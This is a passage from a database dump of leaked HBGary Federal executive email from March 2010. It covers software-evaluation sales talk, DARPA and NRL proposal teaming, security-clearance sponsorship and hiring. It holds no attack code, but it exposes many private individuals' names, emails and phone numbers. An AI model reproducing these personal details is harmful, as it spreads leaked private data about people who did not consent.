Annual\r\nUser\'s Conference.  At the AUC, customers voice their opinions on how\r\nto enhance ProPricer and all attendees \"vote\" on the feature changes\r\nthey like the most, the changes that get the most votes move to the\r\ntop of the development list.  ProPricer represents the collective\r\nwisdom of all the top Federal Government contractors in the U.S. today\r\nfor the best approach to pricing a response to a government RFP.\r\n\r\nThe only prospects that do not move forward with a ProPricer purchase\r\nare the ones that try to force fit the ProPricer method around how\r\nthey currently operate.  They do not look at their present methods and\r\nask \"is this the best way to accomplish our pricing goals?\", instead,\r\nthey cling steadfastly to their present operating methods that a no\r\nCOST product can achieve.  They eventually decide to develop their own\r\nin-house tool only to discover after considerable cost and effort that\r\nthe mission was substantially more than they expected.  We frequently\r\nget return inquiries in these cases.\r\n\r\nWhat would be most useful to your group is a hands-on evaluation of\r\nProPricer.  We have a process to move this evaluation forward and it\r\nfollows a step by step plan that ensures we have a good fit at each\r\nstep before taking the next step.  That way, your investment in time\r\nand effort in investigating our product is minimized and we can stop\r\nat any point in the process where either of us feels the investigation\r\nwill not lead to a positive conclusion.\r\n\r\nI will follow up with you as agreed in 2 weeks, my Outlook card is\r\nattached to this message with all my contact data, if you would like\r\nto discuss ProPricer Evaluation sooner please call me.\r\n\r\n\r\nWarm Regards,\r\n\r\nBrian C Burmeister\r\nExecutive Business Services, Inc.\r\nProPricer \"Industry Proven\" pricing software\r\nbburmeister@propricer.com\r\nOffice: 704-367-3402\r\nFax: 704-367-2578\r\nMobile: 703-665-0443\r\n------------>8-------------------------------------------8<---------------------\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10362,'aaron_hbgary_com/10362.html'),(3319,'2010-03-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001608.M942038P3547Q3319.eml','\"Brian C Burmeister\" <bburmeister@propricer.com>,\"Brian C Burmeister\" <bburmeister@propricer.com>','Re: Reference ProPricer','Hi Brian,\r\n\r\nThe agreement states that this is a full version of the software.  We\r\nhave an upcoming proposal that I believe could benefit from the\r\nfeatures of ProPricer.  Can I use ProPricer during the eval period to\r\ngenerate / print actual pdf and excel cost proposals?  Are there any\r\nwatermarks or file export restrictions that would require me to also\r\ndo the pricing using our current tools?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 2:59 PM, Brian C Burmeister\r\n wrote:\r\n> Good Afternoon Ted,\r\n>\r\n> Thank you for your time today. I believe you will find ProPricer to be an\r\n> excellent solution for your pricing needs, it has constantly been improved\r\n> during the past 22 years by our customers at our Annual User\'s Conference.\r\n> At the AUC, customers voice their opinions on how to enhance ProPricer and\r\n> all attendees \"vote\" on the feature changes they like the most, the changes\r\n> that get the most votes move to the top of the development list.  ProPricer\r\n> represents the collective wisdom of all the top Federal Government\r\n> contractors in the U.S. today for the best approach to pricing a response to\r\n> a government RFP.\r\n>\r\n> The only prospects that do not move forward with a ProPricer purchase are\r\n> the ones that try to force fit the ProPricer method around how they\r\n> currently operate.  They do not look at their present methods and ask \"is\r\n> this the best way to accomplish our pricing goals?\", instead, they cling\r\n> steadfastly to their present operating methods that a no COST product can\r\n> achieve.  They eventually decide to develop their own in-house tool only to\r\n> discover after considerable cost and effort that the mission was\r\n> substantially more than they expected.  We frequently get return inquiries\r\n> in these cases.\r\n>\r\n> What would be most useful to your group is a hands-on evaluation of\r\n> ProPricer.  We have a process to move this evaluation forward and it follows\r\n> a step by step plan that ensures we have a good fit at each step before\r\n> taking the next step.  That way, your investment in time and effort in\r\n> investigating our product is minimized and we can stop at any point in the\r\n> process where either of us feels the investigation will not lead to a\r\n> positive conclusion.\r\n>\r\n> I will follow up with you as agreed in 2 weeks, my Outlook card is attached\r\n> to this message with all my contact data, if you would like to discuss\r\n> ProPricer Evaluation sooner please call me.\r\n>\r\n>\r\n> Warm Regards,\r\n>\r\n> Brian C Burmeister\r\n> Executive Business Services, Inc.\r\n> ProPricer \"Industry Proven\" pricing software\r\n> bburmeister@propricer.com\r\n> Office: 704-367-3402\r\n> Fax: 704-367-2578\r\n> Mobile: 703-665-0443\r\n> ------------>8-------------------------------------------8\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3445,'aaron_hbgary_com/3445.html'),(3320,'2010-03-02','ted@hbgary.com','/aaron@hbgary.com/new/1297001609.M120203P3547Q3320.eml','aaron@hbgary.com','Cyber Genome SOW','\r\n\r\nI\'ve shared Cyber Genome SOW\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nCyber Genome SOW\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',1299,'aaron_hbgary_com/1299.html'),(3321,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001616.M897243P3547Q3321.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','A few whitepapers','These are the foundation of what will be our approach for Tech3.  Sadly these were written by Greg and team back in 2006.  We received a SBIR Phase 1 and 2, both were funded.  We have a working prototype for phase 1, phase 2 was mismanaged by someone that no longer works for the company.  These are very similiar to what Dawn is proposing so good to have someone else on the team that thinks similarly, should make writing much easier.  We are of course drastically updating to reflect new thinking.  Lots of good content that we can reuse here though.\r\n\r\n',16406,'aaron_hbgary_com/16406.html'),(3322,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001617.M836430P3547Q3322.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA project - AFR and Active Reversing','Jasons Tech approach for TA1.I think I get why DC3 hasn\'t purchased many products. &nbsp;They only do file analysis. &nbsp;REcon should be more attractive to them.On Mar 1, 2010, at 7:36 PM, Bob Slapnik wrote:Just got off a conference call with GD and Dawn Song, UC Berkley professor.&nbsp; She has done research on binary analysis and they have added her to their team for topic #1.&nbsp; Based on what I heard it seems that her work has many similarities with Greg’s Automated Flow Resolution (AFR) and Active Reversing.&nbsp; GD is priming #1 so they put whomever they want on their team.&nbsp; As for topic #3, we need to examine whether or not we need Dawn.&nbsp;She brings academia which DARPA likes, an extensive resume of related research and papers, and she appears to be deeply engaged in the work at present.&nbsp; And she seems ready and able to write tech content for proposals.&nbsp; But it bugs me to bring somebody on the team duplicating work HBGary did 2005-2007.&nbsp;&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5936,'aaron_hbgary_com/5936.html'),(3323,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001618.M29999P3547Q3323.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Man I feel like I have biten off a piece of an elephant','Brian,\r\n\r\nIn further reflection and after receiving some outlines.  GD brings a lot to the table.  Without their input I think it is likely we would have submitted something that might have missed at least part of the mark.  They are really not tied to an amount of workshare...they really just want to be the PM and provide expertise on usecases and malware analysis.  Team1 is getting big but don\'t know how it will be parsed out, work that is.\r\n\r\nTalk to you tomorrow.  Hopefully your feeling better.  BTW, we hired our first employee, mark Trynor.  And TASC has identified a customer willing to sponsor our IC tickets...wooohooo!!!!!\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5856,'aaron_hbgary_com/5856.html'),(3324,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001618.M497509P3547Q3324.eml','\"Greg Hoglund\" <greg@hbgary.com>','One other thought to ponder','Thanks for material.  I am going to be wrapping my head around it and have some questions tomorrow.  Man this is going to be a busy few weeks.\r\n\r\nBTW, Ted and I are getting our clearances back through TASC!  We are also hiring our first employee, Mark Trynor.  We hope to be able to hire our graphics guy in the next month or so, Ted has an approach to pitch him for some of the work for GD.  We could then use him for the TMC, website, etc.  Mark is a sharp guy, once we get him through some responder classes we will also be able to use him for incident response engagements.\r\n\r\nSo other thought to ponder.\r\n\r\nHow would you go about identifying lineage and provenance of digital artifacts from their properties and behaviors.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15351,'aaron_hbgary_com/15351.html'),(3325,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001619.M915008P3547Q3325.eml','\"Ted Vera\" <ted@hbgary.com>','my notes','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',487,'aaron_hbgary_com/487.html'),(3326,'2010-03-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001620.M277951P3547Q3326.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Feb. PR invoice','Hi Karen,Invoice 2 has been paid, you should receive a check within 7 days.Regards,TedOn Mon, Mar 1, 2010 at 4:04 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks Karen,I forwarded to Ted for processing.\r\nAaronOn Mar 1, 2010, at 1:18 PM, Karen Burke wrote:\r\nHi Aaron, I billed 3.5 hours for February; please see attached invoice. Please let me know if you have any questions and if you have any updates on the Threat Intelligence Consortium announcement. Best, Karen \r\n\r\n\r\n      &lt;HBGary Federal Invoice #2.doc&gt;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',7855,'aaron_hbgary_com/7855.html'),(3327,'2010-03-02','ted@hbgary.com','/aaron@hbgary.com/new/1297001620.M549911P3547Q3327.eml','aaron@hbgary.com','Project B','\r\n\r\nI\'ve shared Project B\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nProject B\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',4746,'aaron_hbgary_com/4746.html'),(3328,'2010-03-02','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297001620.M745657P3547Q3328.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Clearances','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you available to talk around 9:00?&nbsp; I want to get this\r\nin fast&#8230;.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 10:01 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Clearances\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThank you.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 9:44 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron,\r\n\r\nI have secured a program that is willing to sponsor you and Ted.&nbsp; I\'ll\r\nhave more tomorrow when I get a chance to call and get the paperwork info.\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7136,'aaron_hbgary_com/7136.html'),(3329,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001621.M26568P3547Q3329.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Clearances','sure.On Mar 2, 2010, at 7:56 AM, Clair, Chris (TASC) wrote:Are you available to talk around 9:00?&nbsp; I want to get this in fast….&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 10:01 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Clearances&nbsp;Thank you.From my iPhoneOn Mar 1, 2010, at 9:44 PM, \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:&nbsp;Hi Aaron,I have secured a program that is willing to sponsor you and Ted.&nbsp; I\'ll have more tomorrow when I get a chance to call and get the paperwork info.Thanks,Chris\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3480,'aaron_hbgary_com/3480.html'),(3330,'2010-03-02','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001621.M276839P3547Q3330.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Man I feel like I have biten off a piece of an elephant','That is great on all counts.  What is Mark working?\r\n\r\nCongrats!\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 11:39 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Man I feel like I have biten off a piece of an elephant\r\n\r\nBrian,\r\n\r\nIn further reflection and after receiving some outlines.  GD brings a\r\nlot to the table.  Without their input I think it is likely we would\r\nhave submitted something that might have missed at least part of the\r\nmark.  They are really not tied to an amount of workshare...they really\r\njust want to be the PM and provide expertise on usecases and malware\r\nanalysis.  Team1 is getting big but don\'t know how it will be parsed\r\nout, work that is.\r\n\r\nTalk to you tomorrow.  Hopefully your feeling better.  BTW, we hired our\r\nfirst employee, mark Trynor.  And TASC has identified a customer willing\r\nto sponsor our IC tickets...wooohooo!!!!!\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10200,'aaron_hbgary_com/10200.html'),(3331,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001621.M539741P3547Q3331.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Man I feel like I have biten off a piece of an elephant','We have some work that we do for GD that needs to be ported over to an iPOD platform.  He\'s a sharp guy so we will also get him spun up on Responder, etc. and get him trained to help on IR engagements...and just a lot of other general stuff.  Thing is about Mark he comes across as being a little screwy but he is actually a very good writer, can get just about anything done code wise (not saying its pretty).  So in the early stages someone that has all around skill will be helpful.\r\n\r\nIf we do participate in any Romas re-compete work he will be helpful there to of course. ;)\r\n\r\nReally happy about getting the clearances back soon.  I believe its on the I2S contract vehicle so back with the larger customer.\r\n\r\nAaron\r\n\r\nOn Mar 2, 2010, at 8:03 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> That is great on all counts.  What is Mark working?\r\n> \r\n> Congrats!\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 01, 2010 11:39 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Man I feel like I have biten off a piece of an elephant\r\n> \r\n> Brian,\r\n> \r\n> In further reflection and after receiving some outlines.  GD brings a\r\n> lot to the table.  Without their input I think it is likely we would\r\n> have submitted something that might have missed at least part of the\r\n> mark.  They are really not tied to an amount of workshare...they really\r\n> just want to be the PM and provide expertise on usecases and malware\r\n> analysis.  Team1 is getting big but don\'t know how it will be parsed\r\n> out, work that is.\r\n> \r\n> Talk to you tomorrow.  Hopefully your feeling better.  BTW, we hired our\r\n> first employee, mark Trynor.  And TASC has identified a customer willing\r\n> to sponsor our IC tickets...wooohooo!!!!!\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3729,'aaron_hbgary_com/3729.html'),(3332,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001621.M718246P3547Q3332.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Man I feel like I have biten off a piece of an elephant','Are you doing NDAs and briefing GD on IG or no.  Dude I really feel back that I wasn\'t supposed to talk about it.\r\n\r\n\r\nOn Mar 2, 2010, at 8:03 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> That is great on all counts.  What is Mark working?\r\n> \r\n> Congrats!\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 01, 2010 11:39 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Man I feel like I have biten off a piece of an elephant\r\n> \r\n> Brian,\r\n> \r\n> In further reflection and after receiving some outlines.  GD brings a\r\n> lot to the table.  Without their input I think it is likely we would\r\n> have submitted something that might have missed at least part of the\r\n> mark.  They are really not tied to an amount of workshare...they really\r\n> just want to be the PM and provide expertise on usecases and malware\r\n> analysis.  Team1 is getting big but don\'t know how it will be parsed\r\n> out, work that is.\r\n> \r\n> Talk to you tomorrow.  Hopefully your feeling better.  BTW, we hired our\r\n> first employee, mark Trynor.  And TASC has identified a customer willing\r\n> to sponsor our IC tickets...wooohooo!!!!!\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3519,'aaron_hbgary_com/3519.html'),(3333,'2010-03-02','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001621.M897694P3547Q3333.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Man I feel like I have biten off a piece of an elephant','Got the paperwork flowing up both sides of the chain here.  Don\'t worry\r\nabout the IG thing, I had to say something.  No biggie.  Let me get\r\ncaught up and I will give you a call around 10 if you are available.\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 02, 2010 8:15 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Man I feel like I have biten off a piece of an elephant\r\n\r\nAre you doing NDAs and briefing GD on IG or no.  Dude I really feel back\r\nthat I wasn\'t supposed to talk about it.\r\n\r\n\r\nOn Mar 2, 2010, at 8:03 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> That is great on all counts.  What is Mark working?\r\n> \r\n> Congrats!\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 01, 2010 11:39 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Man I feel like I have biten off a piece of an elephant\r\n> \r\n> Brian,\r\n> \r\n> In further reflection and after receiving some outlines.  GD brings a\r\n> lot to the table.  Without their input I think it is likely we would\r\n> have submitted something that might have missed at least part of the\r\n> mark.  They are really not tied to an amount of workshare...they\r\nreally\r\n> just want to be the PM and provide expertise on usecases and malware\r\n> analysis.  Team1 is getting big but don\'t know how it will be parsed\r\n> out, work that is.\r\n> \r\n> Talk to you tomorrow.  Hopefully your feeling better.  BTW, we hired\r\nour\r\n> first employee, mark Trynor.  And TASC has identified a customer\r\nwilling\r\n> to sponsor our IC tickets...wooohooo!!!!!\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2330,'aaron_hbgary_com/2330.html'),(3334,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001622.M286726P3547Q3335.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Interesting company','I need to get the name.  Dave Etue over at Fidelis was telling me about a company he was talking to that takes a different approach to identifying Stego images.  They find all the stego programs that are out there and identify tool marks in modified images, so then they can do large image scans much more quickly looking for these markers.\r\n\r\nI thought that was an interesting approach.  Do we do that somewhat in blacklists for DDNA?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5197,'aaron_hbgary_com/5197.html'),(3335,'2010-03-02','\"Mankin, Mark\" <mark.mankin@fidelissecurity.com>','/aaron@hbgary.com/new/1297001622.M472219P3547Q3336.eml','aaron@hbgary.com','NRL & DARPA','\r\n\r\n\r\n\r\n\r\nAaron -\r\n&nbsp;\r\nI will be at DARPA today.&nbsp;&nbsp; Is there any action items that you and David discussed&nbsp;between Fidelis &amp; HB Gary on these efforts?\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Fri 2/26/2010 7:07 AMTo: aaron@hbgary.comSubject: NRL &amp; DARPA\r\n\r\nAaron -\r\n&nbsp;\r\nIt was a pleasure meeting you, yesterday.&nbsp;&nbsp;&nbsp; Let me know if you want to get together next week to discuss the NRL and DARPA RFP\'s you mentioned.\r\n&nbsp;\r\nHave a great weekend!\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532',7690,'aaron_hbgary_com/7690.html'),(3336,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001622.M701790P3547Q3337.eml','\"Mankin, Mark\" <mark.mankin@fidelissecurity.com>','Re: NRL & DARPA','Hey Mark,Thanks. &nbsp;Not at the moment. &nbsp;I have a good amount of literature that will help at the moment and a good understanding of the integration potential.Here is status. &nbsp;We are writing statements of work today for the DARPA effort. &nbsp;I am slammed with it right now. &nbsp;This week I am focusing on getting most of the DARPA content done, since it is a full proposal effort. &nbsp;Next week most of the technical material should be written so I can focus on pulling some of that content out and writing the whitepaper for NRL. &nbsp;Its a lot... divide and conquer. &nbsp;If you see Van Putte tell him a few extra weeks would have been nice... ;)As I get the SOW written I will have a better idea what I might need.AaronOn Mar 2, 2010, at 8:32 AM, Mankin, Mark wrote:\r\n\r\nAaron -\r\n&nbsp;\r\nI will be at DARPA today.&nbsp;&nbsp; Is there any action items that you and David discussed&nbsp;between Fidelis &amp; HB Gary on these efforts?\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\n\r\n\r\nFrom: Mankin, MarkSent: Fri 2/26/2010 7:07 AMTo: aaron@hbgary.comSubject: NRL &amp; DARPA\r\n\r\nAaron -\r\n&nbsp;\r\nIt was a pleasure meeting you, yesterday.&nbsp;&nbsp;&nbsp; Let me know if you want to get together next week to discuss the NRL and DARPA RFP\'s you mentioned.\r\n&nbsp;\r\nHave a great weekend!\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12749,'aaron_hbgary_com/12749.html'),(3337,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001622.M78138P3547Q3334.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Man I feel like I have biten off a piece of an elephant','k\r\n\r\nOn Mar 2, 2010, at 8:17 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Got the paperwork flowing up both sides of the chain here.  Don\'t worry\r\n> about the IG thing, I had to say something.  No biggie.  Let me get\r\n> caught up and I will give you a call around 10 if you are available.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 02, 2010 8:15 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Man I feel like I have biten off a piece of an elephant\r\n> \r\n> Are you doing NDAs and briefing GD on IG or no.  Dude I really feel back\r\n> that I wasn\'t supposed to talk about it.\r\n> \r\n> \r\n> On Mar 2, 2010, at 8:03 AM, Masterson, Brian (Xetron) wrote:\r\n> \r\n>> That is great on all counts.  What is Mark working?\r\n>> \r\n>> Congrats!\r\n>> \r\n>> Brian Masterson \r\n>> Northrop Grumman/Xetron \r\n>> Chief Technology Officer, IO Programs \r\n>> Ph: 513-881-3591 \r\n>> Cell: 513-706-4848 \r\n>> Fax: 513-881-3877 \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, March 01, 2010 11:39 PM\r\n>> To: Masterson, Brian (Xetron)\r\n>> Subject: Man I feel like I have biten off a piece of an elephant\r\n>> \r\n>> Brian,\r\n>> \r\n>> In further reflection and after receiving some outlines.  GD brings a\r\n>> lot to the table.  Without their input I think it is likely we would\r\n>> have submitted something that might have missed at least part of the\r\n>> mark.  They are really not tied to an amount of workshare...they\r\n> really\r\n>> just want to be the PM and provide expertise on usecases and malware\r\n>> analysis.  Team1 is getting big but don\'t know how it will be parsed\r\n>> out, work that is.\r\n>> \r\n>> Talk to you tomorrow.  Hopefully your feeling better.  BTW, we hired\r\n> our\r\n>> first employee, mark Trynor.  And TASC has identified a customer\r\n> willing\r\n>> to sponsor our IC tickets...wooohooo!!!!!\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8095,'aaron_hbgary_com/8095.html'),(3338,'2010-03-02','\"Brian C Burmeister\" <bburmeister@propricer.com>','/aaron@hbgary.com/new/1297001622.M890513P3547Q3338.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Reference ProPricer','Ted, It is a fully functional version. We encourage you to work proposals, note that Personal Edition has limited reporting and will not generate formula rich excel documents, that is our Standard Edition. Call me sometime today and we can go over the features you require and I can help determine which is a best fit for your needs. \r\n\r\nWarm Regards,Brian C BurmeisterProPricer &quot;Industry Proven&quot; Proposal Pricing SoftwareOffice: 704-367-3402     |     Fax: 704-367-2578     |     Mobile: 703-665-0443------------&gt;8-------------------------------------------8&lt;---------------------\r\n\r\nNOTE: Your email sent to me may not be responded to immediately.During the work week, I do my best to respond within 24 hours,however I only check my inbox a few hours of the day.If immediate attention requested, please phone.\r\n\r\n------------&gt;8-------------------------------------------8&lt;---------------------On Mon, Mar 1, 2010 at 11:00 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nHi Brian,\r\n\r\nThe agreement states that this is a full version of the software.  We\r\nhave an upcoming proposal that I believe could benefit from the\r\nfeatures of ProPricer.  Can I use ProPricer during the eval period to\r\ngenerate / print actual pdf and excel cost proposals?  Are there any\r\nwatermarks or file export restrictions that would require me to also\r\ndo the pricing using our current tools?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 2:59 PM, Brian C Burmeister\r\n&lt;bburmeister@propricer.com&gt; wrote:\r\n&gt; Good Afternoon Ted,\r\n&gt;\r\n&gt; Thank you for your time today. I believe you will find ProPricer to be an\r\n&gt; excellent solution for your pricing needs, it has constantly been improved\r\n&gt; during the past 22 years by our customers at our Annual User&#39;s Conference.\r\n&gt; At the AUC, customers voice their opinions on how to enhance ProPricer and\r\n&gt; all attendees &quot;vote&quot; on the feature changes they like the most, the changes\r\n&gt; that get the most votes move to the top of the development list.  ProPricer\r\n&gt; represents the collective wisdom of all the top Federal Government\r\n&gt; contractors in the U.S. today for the best approach to pricing a response to\r\n&gt; a government RFP.\r\n&gt;\r\n&gt; The only prospects that do not move forward with a ProPricer purchase are\r\n&gt; the ones that try to force fit the ProPricer method around how they\r\n&gt; currently operate.  They do not look at their present methods and ask &quot;is\r\n&gt; this the best way to accomplish our pricing goals?&quot;, instead, they cling\r\n&gt; steadfastly to their present operating methods that a no COST product can\r\n&gt; achieve.  They eventually decide to develop their own in-house tool only to\r\n&gt; discover after considerable cost and effort that the mission was\r\n&gt; substantially more than they expected.  We frequently get return inquiries\r\n&gt; in these cases.\r\n&gt;\r\n&gt; What would be most useful to your group is a hands-on evaluation of\r\n&gt; ProPricer.  We have a process to move this evaluation forward and it follows\r\n&gt; a step by step plan that ensures we have a good fit at each step before\r\n&gt; taking the next step.  That way, your investment in time and effort in\r\n&gt; investigating our product is minimized and we can stop at any point in the\r\n&gt; process where either of us feels the investigation will not lead to a\r\n&gt; positive conclusion.\r\n&gt;\r\n&gt; I will follow up with you as agreed in 2 weeks, my Outlook card is attached\r\n&gt; to this message with all my 